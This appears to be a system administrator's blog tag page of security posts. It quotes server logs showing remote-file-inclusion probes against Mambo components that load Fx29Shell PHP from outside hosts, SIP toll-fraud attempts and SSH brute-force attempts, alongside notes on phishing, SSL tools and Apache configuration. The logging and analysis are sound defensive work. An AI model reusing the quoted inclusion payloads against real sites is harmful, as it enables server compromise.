News items for tag security - Koos van den Hout

Writing about security on your website has this interesting effect in the logs:

200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:35 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"
200.93.147.154 - - [04/Mar/2010:09:58:41 +0100] "GET /~koos/newstag.cgi/security%20%20/administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=http://zerozon.co.kr/data/eeng/heheh.txt??? HTTP/1.1" 404 - "-" "Mozilla/5.0"

The content of heheh.txt is predictable:

<?php /* Fx29ID */ echo("FeeL"."CoMz"); die("FeeL"."CoMz"); /* Fx29ID */ ?>

By pure coincidence there is a file http://zerozon.co.kr/data/eeng/id1.txt with the contents:

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

And that all looks very familiar: Fx29Shell php attack. This won't keep me from writing about security or amusing myself by browsing the logfiles. Maybe I'll find a fresh attack. This automated one is getting really boring.

Lots of phishing attempts for webmail accounts flying by, at the moment it seems popular to use webform hosters to ask for account credentials. I seem to miss a part of these. Probably my spamfilters being too good or something. But at work there are some people who know I am interested in new and recurring strains of Internet abuse so I still get interesting stuff forwarded to investigate. The latest catch advertised a dot.tk domain which inlined a webform from a tripod hosted site which was a copy of an emailmeform.com form and used emailmeform.com to process it and redirected to a generic thankyou form by a new zealand printer supplies company. It takes a bit of tracing and trying to solve such a puzzle and notify all parties about their role in the abuse.

By now a lot of people in the world are aware of the case of a US, Pennsylvania school was accused of using webcams in school-issued laptops to spy on students at home without their consent (via Slashdot). A lot of theories and weird stories are going around but I found a good technical explanation: The Spy at Harrington High - Stryde Hax who as a bystander and with his technical background has done a thorough analysis of the techniques used and the stance of the people involved in this matter. Good reading material for those who are actually interested in what was really happening.
The original story seems to be turning into this 'Only in America' story: School spying scandal gets even more bizarre - Slashdot:

The student in question that was disciplined for an "improper act" was apparently accused of either drug use or drug selling. Turns out he was eating Mike & Ike candy, not popping pills.

If you want to detect LANRev Agent on a system, Network Fingerprint for LANRev Agent - Stryde Hax has the answer.

SIP scanning is active again. Sandro Gauci came with a link to And the scanning just keeps on coming I checked the logs on 2 asterisk servers for recent break-in attempts and presto... from different IPs, but the pattern I saw before in trying to find insecure SIP servers:

[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"3776548202"<sip:3776548202@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"100"<sip:100@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"101"<sip:101@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:20] NOTICE[6890] chan_sip.c: Registration from '"102"<sip:102@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found


[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"952"<sip:952@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"953"<sip:953@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found
[Feb 21 10:09:28] NOTICE[6890] chan_sip.c: Registration from '"954"<sip:954@xxx.yyy.zzz.xxx>' failed for '96.57.107.3' - No matching peer found

No damage and no costs. The other server shows attempts to use the sip guest environment again:

[Feb 13 05:27:08] NOTICE[5710] chan_sip.c: Call from '' to extension '90442075821233' rejected because extension not found.
[Feb 13 05:27:27] NOTICE[5710] chan_sip.c: Call from '' to extension '9442078493108' rejected because extension not found.
[Feb 13 05:27:38] NOTICE[5710] chan_sip.c: Call from '' to extension '0442076311117' rejected because extension not found.
[Feb 13 05:27:40] NOTICE[5710] chan_sip.c: Call from '' to extension '0011447850019298' rejected because extension not found.
[Feb 13 05:27:42] NOTICE[5710] chan_sip.c: Call from '' to extension '00011441628481177' rejected because extension not found.
[Feb 13 05:27:44] NOTICE[5710] chan_sip.c: Call from '' to extension '0001441383417547' rejected because extension not found.
[Feb 13 05:27:56] NOTICE[5710] chan_sip.c: Call from '' to extension '0000447956581268' rejected because extension not found.
[Feb 13 05:27:57] NOTICE[5710] chan_sip.c: Call from '' to extension '00011441628481177' rejected because extension not found.
[Feb 13 05:28:08] NOTICE[5710] chan_sip.c: Call from '' to extension '900442075964032' rejected because extension not found.
[Feb 13 05:28:08] NOTICE[5710] chan_sip.c: Call from '' to extension '9011441252625280' rejected because extension not found.
[Feb 13 05:28:09] NOTICE[5710] chan_sip.c: Call from '' to extension '1442074370973' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '9442078493108' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '00000447889904142' rejected because extension not found.
[Feb 13 05:28:10] NOTICE[5710] chan_sip.c: Call from '' to extension '0001441383417547' rejected because extension not found.

This time with somewhat random looking phone numbers in the UK which aren't well-known to google.

My very own security incident involving China (in a way):

[Jan 28 09:55:45] NOTICE[7593] chan_sip.c: Call from '' to extension '00442078420960' rejected because extension not found.

An attempt (within the public sip context) to call a number in England. The Chinese embassy in London. All attempts failed since the asterisk which logged that has no idea how to call the big phone network. Information from a lecture on SIP security suggests that this kind of attempts is a sort of ddos attack on a phone number.

After finding shortcomings in the verification by openssl s_client I tried the gnutls command-line client gnutls-cli. The upside of gnutls-cli is that it does use IPv6 when available. But.. gnutls-cli decides not to trust a server when using the same certificate set as used in testing openssl s_client.

~$ gnutls-cli --x509cafile /etc/ssl/certs/ca-certificates.crt -p imaps imaps.cs.uu.nl
..
*** Verifying server certificate failed...

versus

:~$ openssl s_client -verify 10 -CAfile /etc/ssl/certs/ca-certificates.crt -connect imaps.cs.uu.nl:imaps
..
    Verify return code: 0 (ok)

Weird. I would not be completely surprised when my own root CA had issues in very strict utilities but the chain used for the work servers is very well tested.

I like my SSL verification tools paranoid, and it seems openssl s_client -verify isn't paranoid enough. The man page reports:

BUGS

       The -verify option should really exit if the server verification
       fails.

I'd like added "the hostname in the certificate is not verified". I ran a little test server to test for the right way to configure the SSL certificates in openldap server and noticed I got the verification to work even when I was connecting to the wrong name.

I realized there is one piece of software running on my server which has a small chance of having a known leak because it is a widely used package: Serendipity powers the hcc!pc gg netwerkgroep website and I hadn't upgraded it recently. A very small chance, since security is a very important part of the Serendipity design. Since upgrading phpBB for Camp Wireless was always a royal pain in the behind I sort of postponed this process. But after the serious search for any security flaw in my website I searched on the Serendipity site for an explanation of the upgrade process. And the answer: upgrading Serendipity is very, very easy. More PHP applications should be this easy to upgrade.
Update: A frequent reader notes that I had a bit of a strong opinion: lots of PHP software is easy to upgrade, phpBB is/was just a problem because the templating system is too integrated in the source.

Somebody in Denmark thought something in this webserver would run some default and vulnerable software and tried to find a hole:

$ grep -c 90.185.249.111 ~httpd/idefix/logs/access_log
4208

All tries to display http://www.spotmerkezi.com/cache/id1.txt which is a bit of PHP source:

<?php /* ZFxID */ echo("Shiro"."Hige"); die("Shiro"."Hige"); /* ZFxID */ ?>

Which will display ShiroHige as one word when run through the php processor.

All urls are attempts where it is assumed some vulnerable script is behind some visible part of the site such as the root, or my homepage, or some part of my homepage. Samples:

GET //?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos//?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos//administrator/components/com_a6mambohelpdesk/admin.a6mambohelpdesk.php?mosConfig_live_site=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newsitem.cgi//?mosConfig_absolute_path=%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newsitem.cgi//administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//libraries/pcl/pcltar.php?g_pcltar_lib_dir=%20http://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//templates/be2004-2/index.php?mosConfig_absolute_path=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??
GET /~koos/newstag.cgi/security%20%20//modules/mod_weather.php?absolute_path=%20%0Dhttp://www.spotmerkezi.com/cache/id1.txt??

A bit of research finds that the next bit of code to execute would try to get info on the php setup (os, rights, free disk space). The third bit is running an entire bot with a few backdoors. I tried to find where the backdoor would connect to but that is all dynamic, only when the third script is loaded via the vulnerability a number of variables are set with the IP and port to connect to.

Like any good bot, it also notifies its maker in a hidden away part of its source, which would look like:

To: feelcomz@gmail.com
Subject: Fx29Shell http://server.name/vulnerable.url by 10.2.1.1

Boss, there was an injected target on http://server.name/vulnerable.url by 10.2.1.1

Searching on the term Fx29Shell gives a scary answer: Results 1 - 10 of about 221,000 for Fx29Shell. a lot of those still showing webservers where this script is active.

But all my home-made webstuff is not in the habit of executing remote php scripts. But given the load of sites hosted on 90.185.249.111 it's probably a script running on that server which got hacked from a third place.

I'm building a new box at work and I waited a bit with ratelimiting ssh connections (ssh is already configured to only allow valid accounts with pre-established keys). The result of one night..:

# egrep -c 'sshd.*(Invalid user|not allowed)' auth.log 
2179

Something up with sshd? Suddenly I see log entries (formatted for readability) like:

Nov  7 11:14:25 greenblatt sshd[5670]: Bad protocol version identification 'yJ
\316F\306J\226{B\247pvO\030B\330\332\352\257\337:\346\272h^\221\310\215\256C-
\253K\264l\265\320)\022\342\376\221\001?5\343\324\254\304\270\264FB\244#&tX
\3413\332m\352=\327\266\216\333\baZ<\006\267\243\236\214\217@:\021\273/vx\211
\313\362' from 220.225.222.226

I dislike seeing stuff like this.

I'm playing a bit with NDPMon - IPv6 Neighbor Discovery Protocol Monitor, now at version 1.4.0. Sofar, after configuring it in the right configuration file it likes one part of the home network (the wired part). I'm looking at it both from the viewpoint of playing with IPv6 and from the viewpoint of network security: can I use this to trace users of a network. In a large network like the one at work I could imagine ndpmon doing for IPv6 what arpwatch does for IPv4. Combine that with logs from the switches for tracing ethernet addresses and I see possibilities for a big, usable and at the same time manageable and secure network.

What do you get when documentation for Polycom SoundPoint IP phones suggests.. and suggests again and again you should set up an ftp account PlcmSpIp with password PlcmSpIp? Well, what do you expect other than:

Sep  1 13:12:44 greenblatt sshd[24658]: Invalid user PlcmSpIp from 202.39.75.16
Sep  1 13:12:47 greenblatt sshd[24661]: Invalid user PlcmSpIp from 220.132.192.198
Sep  1 13:12:50 greenblatt sshd[24753]: Invalid user PlcmSpIp from 220.132.192.220
Sep  1 13:12:52 greenblatt sshd[24823]: Invalid user PlcmSpIp from 202.39.75.16
Sep  1 13:12:55 greenblatt sshd[24827]: Invalid user PlcmSpIp from 202.39.75.16
Sep  1 13:12:57 greenblatt sshd[24832]: Invalid user PlcmSpIp from 220.132.192.198
Sep  1 13:13:00 greenblatt sshd[24834]: Invalid user PlcmSpIp from 220.132.192.220
Sep  1 13:13:02 greenblatt sshd[24839]: Invalid user PlcmSpIp from 220.132.192.198
Sep  1 13:13:05 greenblatt sshd[24863]: Invalid user PlcmSpIp from 202.39.75.16
Sep  1 13:13:08 greenblatt sshd[24866]: Invalid user PlcmSpIp from 220.132.192.198

I rather have phones use tftp on a local network and/or http when chances are the setup will be remote.
Update 2009-09-02: And what do I find from someone who has actually configured this for provisioning his phones: Security issue related with PlcmSpIp someone who reports an actual visit on the PlcmSpIp account.

Why go through all the trouble of installing a hardware skimming device when the ATM runs Microsoft Windows XP? Cybercriminals refine data-sniffing software for ATM fraud - Network World. This is scary stuff. This means an ATM which fully looks like the real thing and has no glued-on extensions can still be compromised.

A first (for me): phishing mail (still from ADMIN at helpdesk.org) which has a web-link to 're-validate your mailbox' which points to a form at emailmeform.com. By the description of the service they will mail it to the form owner, but that owner can be a dropbox like for any phishing mail, just a bit harder to trace. The form asks for username, password and e-mail address.
Update: the phishers will have to do better, emailmeform has blocked the form and the account fast.

The tale of Trying to set up a windows domain controller behind a firewall continues: the server at the receiving side runs Windows server 2008 and has a whole new idea of dynamic port numbers for RPC services. Although it is documented as port numbers for 'outgoing connections' in The default dynamic port range for TCP/IP has changed in Windows Vista and in Windows Server 2008, we see them used and negotiated for incoming connections. An explanation is in this technet article: Dynamic Client Ports in Windows Server 2008 and Windows Vista (or: How I learned to stop worrying and love the IANA) although I would call the use of the term 'client ports' confusing because processes are be listening on those ports. From that server:

  TCP    0.0.0.0:49152          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49153          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49154          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49155          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49157          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49158          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49163          0.0.0.0:0              LISTENING
  TCP    0.0.0.0:49164          0.0.0.0:0              LISTENING

So the Microsoft documentation is broken. No thanks for that.
Update: A somewhat better explanation at How to configure a firewall for domains and trusts where indeed the entire range 49152 - 65535 range can be used for RPC and should be configured in the firewall.

I like my home server usually boring and stable, but virus prevention should be at the bleeding edge, especially when it handles mail for multiple domains where other people can receive it. So I don't like messages in the clamav logfile:

WARNING: Your ClamAV installation is OUTDATED!
WARNING: Local version: 0.92.1 Recommended version: 0.95

Using the Ubuntu backports I was able to get a less older version of clamav running. I updated the home server greenblatt documentation with the exact details of just using the clamav backport and no other backports.

Lots of unreadable news about the Conficker/Downadup worm, including the first 'end of the Internet predicted' articles. For a quite readable explanation, go read Downad/Conficker, who’s the April Fool? by Rik Ferguson from Trend Micro and for a more scientific dissection go read An Analysis of Conficker by Phillip Porras, Hassen Saidi, and Vinod Yegneswaran at SRI International.
Source: Final countdown to Conficker 'activation' begins - The Register.

Apache the webserver can be configured to use multiple authentication servers to find the one that knows a given user. We needed this for our new subversion server and it took me some searching to find the right way to configure it. It is one of those 'easy when you know it' items. We want our new subversion server to allow all our normal (ldap) users access and a set of guest users. There will always be guest users for projects hosted with us. The relevant part of the Apache documentation Authentication, Authorization and Access Control - Apache HTTP server isn't very clear on using multiple authentication sources but Apache Module mod_authn_alias shows that it is possible and a nice way to make readable authentication configurations using multiple sources. The AuthnProviderAlias needs to be in the global configuration so I created /etc/apache2/conf.d/authconfig with:

# the general authorization config

<AuthnProviderAlias dbm svnlocal>
    AuthDBMUserFile /etc/apache2/subversion/guestusers
    AuthDBMType DB
</AuthnProviderAlias>

<AuthnProviderAlias ldap svnldap>
    AuthLDAPURL ldap://ldap.cs.uu.nl:389/dc=cs,dc=uu,dc=nl?uid
</AuthnProviderAlias>

And now to use these for SVN access:

# the subversion access config
<Location /repos>
    DAV svn
    SVNParentPath /data/svn/repos

    # our access control policy
    AuthzSVNAccessFile /etc/apache2/subversion/svnaccessfile

    # try anonymous access first, resort to real
    # authentication if necessary
    Satisfy Any
    Require valid-user

    # how to authenticate a user
    AuthType Basic
    AuthName "Subversion repository"

    AuthBasicProvider svnlocal svnldap
</Location>

The Satisfy Any is because we do have repositories with full public access. The choice of first checking local users and then checking ldap users is because the number of local users should be limited and the ldap server should not be overloaded with traffic. The complete access rules are set up in the AuthzSVNAccessFile which is documented in the SVN book, httpd, the Apache HTTP Server - Server Configuration SVN

Pub is closed by Monty Python grenade - Evening Standard You can't make this stuff up: a 'suspicious object' turned out to be the original Holy Hand Grenade of Antioch from the Monty Python movie Monty Python and the Holy Grail (1975).
Via Holy Hand Grenade of Antioch Bomb Scare - Schneier on Security.